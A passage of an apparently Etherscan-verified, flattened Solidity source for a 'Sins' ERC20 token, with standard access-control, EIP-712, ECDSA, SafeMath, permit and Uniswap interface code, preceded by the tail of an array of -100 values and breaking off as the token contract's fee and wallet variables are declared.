-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
// File: interfaces/ISinsAuthority.sol
pragma solidity >=0.7.5;
interface ISinsAuthority {
/* ========== EVENTS ========== */
event GovernorPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event GuardianPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event PolicyPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event VaultPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event GovernorPulled(address indexed from, address indexed to);
event GuardianPulled(address indexed from, address indexed to);
event PolicyPulled(address indexed from, address indexed to);
event VaultPulled(address indexed from, address indexed to);
/* ========== VIEW ========== */
function governor() external view returns (address);
function guardian() external view returns (address);
function policy() external view returns (address);
function vault() external view returns (address);
}
// File: types/SinsAccessControlled.sol
pragma solidity >=0.7.5;
abstract contract SinsAccessControlled {
/* ========== EVENTS ========== */
event AuthorityUpdated(ISinsAuthority indexed authority);
string UNAUTHORIZED = "UNAUTHORIZED"; // save gas
/* ========== STATE VARIABLES ========== */
ISinsAuthority public authority;
/* ========== Constructor ========== */
constructor(ISinsAuthority _authority) {
authority = _authority;
emit AuthorityUpdated(_authority);
}
/* ========== MODIFIERS ========== */
modifier onlyGovernor() {
require(msg.sender == authority.governor(), UNAUTHORIZED);
_;
}
modifier onlyGuardian() {
require(msg.sender == authority.guardian(), UNAUTHORIZED);
_;
}
modifier onlyPolicy() {
require(msg.sender == authority.policy(), UNAUTHORIZED);
_;
}
modifier onlyVault() {
require(msg.sender == authority.vault(), UNAUTHORIZED);
_;
}
/* ========== GOV ONLY ========== */
function setAuthority(ISinsAuthority _newAuthority) external onlyGovernor {
authority = _newAuthority;
emit AuthorityUpdated(_newAuthority);
}
}
pragma solidity >=0.7.5;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
uint256 chainID;
assembly {
chainID := chainid()
}
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = chainID;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
if (chainID == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
return keccak256(abi.encode(typeHash, nameHash, versionHash, chainID, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// File: interfaces/IERC20Permit.sol
pragma solidity >=0.7.5;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as th xe allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: interfaces/IERC20.sol
pragma solidity >=0.7.5;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: interfaces/ISIN.sol
pragma solidity >=0.7.5;
interface ISIN is IERC20 {
function mint(address account_, uint256 amount_) external;
function burn(uint256 amount) external;
function burnFrom(address account_, uint256 amount_) external;
}
pragma solidity >=0.7.5;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: libraries/SafeMath.sol
pragma solidity >=0.7.5;
// TODO(zx): Replace all instances of SafeMath with OZ implementation
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
// Only used in the BondingCalculator.sol
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
// File: libraries/Counters.sol
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ITaxDistributor {
function distribute(address urv2, address dai, address marketingWallet, uint256 daiForBuyback, address buybackWallet, uint256 liquidityTokens, uint256 daiForLiquidity, address liquidityTo) external;
}
pragma solidity >=0.7.5;
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: types/ERC20.sol
pragma solidity >=0.7.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract ERC20 is Context, IERC20{
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" );
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal immutable _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { }
}
// File: types/ERC20Permit.sol
pragma solidity >=0.7.5;
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// File: SinsERC20.sol
pragma solidity >=0.7.5;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract SinsERC20Token is ERC20Permit, ISIN, SinsAccessControlled {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
address public marketingWallet;
address public buybackWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private swapping;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
